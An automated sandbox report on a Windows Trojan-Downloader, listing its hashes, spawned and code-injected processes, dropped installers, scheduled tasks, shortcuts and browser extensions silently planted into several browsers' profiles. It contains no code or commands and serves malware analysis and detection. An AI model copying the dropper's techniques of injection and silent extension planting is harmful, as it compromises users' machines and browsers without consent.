MD5: 0dda15c3b539824d03443634931b0756
SHA1: dade5389732731f28eeac8b4d6e5e64f5ed68e9b
SHA256: eb1dd7a52d7fd8bb4876e5129064168efa595b3cfc8cb6972ef1c627f0547b09
SSDeep: 12288:OUWA3AheuswyYpUH X3Z3lgk9EsmoMZfZbYUrEiH191eznYE8Rd:OUWqistYWH03NlXEsmoMEoF191E8Rd
Size: 543694 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: nethfdrv
Created at: 2009-08-16 14:05:35
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan-Downloader. Trojan program, which downloads files from the Internet without user's notice and executes them.

Payload

No specific payload has been found.

Process activity

The Dropped creates the following process(es):

fm4.exe:260
Almanac_clnh_2014.8.3._126cl.exe:2900
AlmDay.exe:1016
assistupdate.exe:2660
setup_2948-140896.exe:1164
axult.exe:460
%original file name%.exe:264
FHSev.exe:2280
FHSev.exe:2212
FHSev.exe:968
AlmDayQuick.exe:2908
juese.exe:2488
sjss_jing_zhimeng_217.exe:1724
sjss.exe:216
a-zm-157391-v5.exe:2236
setup_2949-14598.exe:612
OfficeAssist.0195.80.1015.exe:1628
OfficeAssist.0195.80.1015.exe:448
fm4svr.exe:3608
axuls.exe:1160
ignite.exe:2880
ignite.exe:2764
AppleDTAssistant.exe:1856
regsvr32.exe:2112
regsvr32.exe:500
regsvr32.exe:2324
kindness.exe:2856
Application Dataypfbyfgmr.exe:2796
iApple.exe:1748
apples_5_1008.exe:816
tqrl_89_177560.exe:1644
xkcc_50091167828.exe:2196

The Dropped injects its code into the following process(es):

IFoxInstall-y-c203945859-run-s-x.exe:1360
AppleDesktop.exe:1952
FHSev.exe:2328
Application Dataypfbyfgmr.tmp:2860
fm4svr.exe:1392
fjwyusp.exe:1336
ignite.exe:2576
mankind.exe:2904
UUSEE_kb1003_Setup_133149.exe:3756

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process fm4.exe:260 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\stj[1].htm (3 bytes)
%Program Files%\FM4.0\201409180317\Data\client.ini (42 bytes)
%Program Files%\FM4.0\201409180317\Data\server.ini (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\ver[1].txt (36 bytes)
%Program Files%\FM4.0\201409180317\Data\user2.ini (448 bytes)
%Program Files%\FM4.0\201409180317\SysConfig.ini (468 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\CAS12RG5.htm (3 bytes)

The Dropped deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\stj[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\CAS12RG5.htm (0 bytes)

The process Almanac_clnh_2014.8.3._126cl.exe:2900 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\All Users\Desktop\½ñÈÕ»ÆÀú.lnk (804 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\Menu\menu_bg.png (119 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\Menu\menuselectbar.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\AlmDay.exe (267 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (6312 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Disconnect\disconnect.html (969 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\Menu\menurmark.png (2 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\joke.png (7 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\Mini\bakground.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\z_stat[1].php (2068 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\Search\right.png (1 bytes)
%System%\config\SOFTWARE.LOG (3043 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\install[1].htm (174 bytes)
%Documents and Settings%\%current user%\Local Settings\AlmDay\config\soft.inf (26 bytes)
%Documents and Settings%\%current user%\Start Menu\³ÌÐò\½ñÈÕ»ÆÀú\ÅäÖÃ\жÔؽñÈÕ»ÆÀú.lnk (814 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Uninst.exe (96 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Disconnect\disconnect.jpg (20 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\config\TipsConfig.ini (1 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\AlmDayQuick.exe (98 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\Search\bg_icon.png (969 bytes)
%Documents and Settings%\%current user%\Start Menu\³ÌÐò\½ñÈÕ»ÆÀú\½ñÈÕ»ÆÀú.lnk (808 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\½ñÈÕ»ÆÀú.lnk (774 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\data\data.bin (324 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\Menu\menuright.png (2 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT (6452 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\Mini\close.png (2 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\Menu\menuseparator.png (935 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\AlmDayAuxiliary.dll (154 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\life.png (2 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\line.png (976 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\yun.png (3 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\game.png (2 bytes)
%System%\config\software (1615 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\Search\close.png (2 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\set.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\small_bg.png (998 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\Search\left.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\Search\la_select.png (3 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\Search\la_focus.png (3 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\Mini\min.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\Skins\bk.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\config\SearchConfig.ini (681 bytes)
%Documents and Settings%\%current user%\Application Data\AlmDay\config\TitleConfig.ini (345 bytes)

The Dropped deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\z_stat[1].php (0 bytes)

The process IFoxInstall-y-c203945859-run-s-x.exe:1360 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\IFoxInfo.ini (178 bytes)

The process AlmDay.exe:1016 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (221 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (207 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][2].txt (400 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@bing[1].txt (1348 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][2].txt (400 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@msn[2].txt (332 bytes)
%Documents and Settings%\%current user%\Local Settings\AlmDay\config\soft.inf (150 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\rmsloaderdelayeddiv[2].js (549 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\search[1].htm (540 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@msn[1].txt (694 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (5820 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\ips1388[1].htm (388 bytes)
%Documents and Settings%\%current user%\Local Settings\AlmDay\config\Assist\cybercafe.conf (624 bytes)
%Documents and Settings%\%current user%\Local Settings\AlmDay\config\Assist\mnconf.conf (2 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (207 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\Passport[1].htm (436 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (194 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\iplookup[1].htm (153 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\rmsloaderdelayeddiv[1].js (205 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@bing[2].txt (1730 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\WindowsLiveConnect_c[1].js (280 bytes)

The Dropped deletes the following file(s):

%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@bing[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@msn[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@msn[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\AlmDay\config\Assist\cybercafe.conf (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\AlmDay\config\Assist\mnconf.conf (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\rmsloaderdelayeddiv[1].js (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@bing[2].txt (0 bytes)

The process assistupdate.exe:2660 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%WinDir%\Tasks\AssistantUpdateTask_adm.job (428 bytes)

The process setup_2948-140896.exe:1164 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Program Files%\FM4.0\201409180317\avcodec-54.dll (23424 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\FM4.0\FM4.0.lnk (787 bytes)
%Program Files%\FM4.0\201409180317\Data\client.ini (36 bytes)
%Program Files%\FM4.0\201409180317\channels.xml (784 bytes)
%Program Files%\FM4.0\201409180317\Data\dh.ini (56 bytes)
%Program Files%\FM4.0\201409180317\FHSev.exe (11048 bytes)
%Program Files%\FM4.0\201409180317\SysConfig.ini (664 bytes)
%Program Files%\FM4.0\201409180317\libav.dll (6360 bytes)
%Program Files%\FM4.0\201409180317\source.dll (6584 bytes)
%Program Files%\FM4.0\201409180317\swresample-0.dll (3312 bytes)
%Program Files%\FM4.0\201409180317\pthreadGC2.dll (3616 bytes)
%Program Files%\FM4.0\201409180317\favorfm.xml (440 bytes)
%Program Files%\FM4.0\201409180317\DuiLib.dll (16288 bytes)
%Program Files%\FM4.0\201409180317\fm4svr.exe (23424 bytes)
%Program Files%\FM4.0\201409180317\avformat-54.dll (12088 bytes)
%Program Files%\FM4.0\201409180317\Data\version.ini (32 bytes)
%Program Files%\FM4.0\201409180317\Unins.exe (9608 bytes)
%Program Files%\FM4.0\201409180317\fm4.exe (63950 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\FM4.0\ÅäÖù¤¾ß\жÔØFM4.0.lnk (813 bytes)
%Program Files%\FM4.0\201409180317\avcore.dll (2392 bytes)
%Program Files%\FM4.0\201409180317\Data\setup.ini (124 bytes)
%Program Files%\FM4.0\201409180317\audio.dll (3616 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\FM4.0\¹Ù·½Ö÷Ò³.lnk (334 bytes)
%Program Files%\FM4.0\201409180317\Data\user2.ini (56 bytes)
%Program Files%\FM4.0\201409180317\avutil-52.dll (5520 bytes)

The process axult.exe:460 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Program Files%\fjwyusp\hzsoft\UUSEE_kb1003_Setup_133149.exe (721630 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\UUSEE_kb1003_Setup_133149[1].exe (783977 bytes)
%Program Files%\fjwyusp\hzsoft\setup_2949-14598.exe (689706 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\setup_2949-14598[1].exe (752556 bytes)

The process %original file name%.exe:264 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Program Files%\fjwyusp\fjwyusp.exe (23610 bytes)
%Program Files%\fjwyusp\rnr20.dll (3 bytes)

The Dropped deletes the following file(s):

%Program Files%\fjwyusp\__tmp_rar_sfx_access_check_467000 (0 bytes)

The process AppleDesktop.exe:1952 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\AppleDesktopData\UserData\AppleConfig.ini (527 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktopData\UserData\AppleData.add.bk (16 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktopData\UserData\AppleData.add.write_cache (16 bytes)

The Dropped deletes the following file(s):

%Documents and Settings%\%current user%\Application Data\AppleDesktopData\UserData\AIcoCache.dat (0 bytes)

The process FHSev.exe:2328 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Program Files%\FM4.0\201409180317\Data\0317.Tmp (1268 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\Update[1].rar (2052 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\fwtj[1].htm (3 bytes)

The Dropped deletes the following file(s):

%Program Files%\FM4.0\201409180317\Data\0317.Tmp (0 bytes)

The process AlmDayQuick.exe:2908 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\AlmDay\config\Driver\Dragon.dat (9 bytes)
%Documents and Settings%\%current user%\Local Settings\AlmDay\config\config.ini (46 bytes)
%Documents and Settings%\%current user%\Local Settings\AlmDay\config\Assist\data.dat (388 bytes)

The process Application Dataypfbyfgmr.tmp:2860 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-JV8SK.tmp\_isetup\_RegDLL.tmp (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-JV8SK.tmp\Tool.dll (1425 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-JV8SK.tmp\ISTask.dll (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-JV8SK.tmp\_isetup\_shfoldr.dll (23 bytes)

The process juese.exe:2488 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\focus-img-button-png8[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\1409112564312005[1].jpg (64625 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\jstmbase[1].css (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\wz-main-bg[1].jpg (33202 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\jquery.base64[1].js (2365 bytes)
%Documents and Settings%\All Users\Start Menu\¢ñnetert Hao¢ñ23.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\jquery.cookie.1.3.1[1].js (73 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\jstmbase[2].css (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\home-page-png8[1].png (8745 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\¢ñnetert Hao¢ñ23.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\home-page[1].png (30010 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\jquery-1.10.2.min[1].js (58245 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\1389683374154825[1].gif (2553 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\1389682959213947[1].gif (2553 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Startup\绝色唐门.lnk (611 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\1409210600946002[1].jpg (65433 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\1389683394108438[1].gif (2553 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\1389683211750106[1].gif (4473 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\is_Desktop[1].htm (1666 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\jquery.slide[1].js (993 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\1389683070249849[1].gif (4014 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\is_Desktop[1] (4263 bytes)
%Documents and Settings%\All Users\Desktop\¢ñnetert Hao¢ñ23.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\1406784233525194[1].jpg (77561 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\1.1.0.0a-zm-157391-v5[1].htm (930 bytes)

The Dropped deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\jstmbase[1].css (0 bytes)

The process sjss_jing_zhimeng_217.exe:1724 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\sjss\sjss.exe (1837 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\sjss\image\2.png (13 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\速捷搜索\速捷搜索.lnk (693 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\速捷搜索.lnk (1428 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\sjss\Config.ini (48 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\sjss\uninstall.exe (267 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\速捷搜索.lnk (685 bytes)
%Documents and Settings%\All Users\Desktop\速捷搜索.lnk (681 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\sjss\SouSuo.zip (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\sjss\image\3.png (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\sjss\image\0.png (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\sjss\image\1.png (6 bytes)
%Documents and Settings%\All Users\Start Menu\速捷搜索.lnk (681 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\sjss\install_1410999409.tmp (301 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\速捷搜索\卸载速捷搜索.lnk (912 bytes)

The Dropped deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\kbtongji[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\sjss\install_1410999409.tmp (0 bytes)

The process a-zm-157391-v5.exe:2236 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-128.png (143 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\background.js (1 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\pop.html (947 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\jquery.min.js (601 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\redirect.js (648 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\jquery.min.js (601 bytes)
%Program Files%\jstm\ptc (9 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\background.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\background.js (380 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\background.html (223 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\redirect.html (137 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\manifest.json (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-48.png (88 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\manifest.json (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\pop.js (282 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\绝色唐门\卸载.lnk (599 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\pop.js (282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\background.html (223 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Preferences (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-128.png (143 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\zz.js (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\jquery.min.js (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\jquery.min.js (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ext.7z (106408 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\manifest.json (861 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\background.js (380 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\manifest.json (861 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\img\icon_128.png (607 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\common.js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\pop.html (947 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Almanac_clnh_2014.8.3._126cl.exe (1947589 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\redirect.js (648 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\css\base.css (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\index.js (212 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\img\icon_16.png (524 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\img\icon_128.png (607 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\_locales\zh_CN\messages.json (493 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\manifest.json (937 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\background.html (502 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\pop.js (282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\redirect.js (648 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\common.js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\manifest.json (861 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\redirect.js (648 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\zz.js (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\pop.html (947 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\img\icon_16.png (524 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\index.js (212 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\background.html (502 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\pop.html (947 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\index.html (261 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\index.js (212 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\content.js (45 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\index.js (212 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Preferences (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\manifest.json (1 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Preferences (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\zz.js (11 bytes)
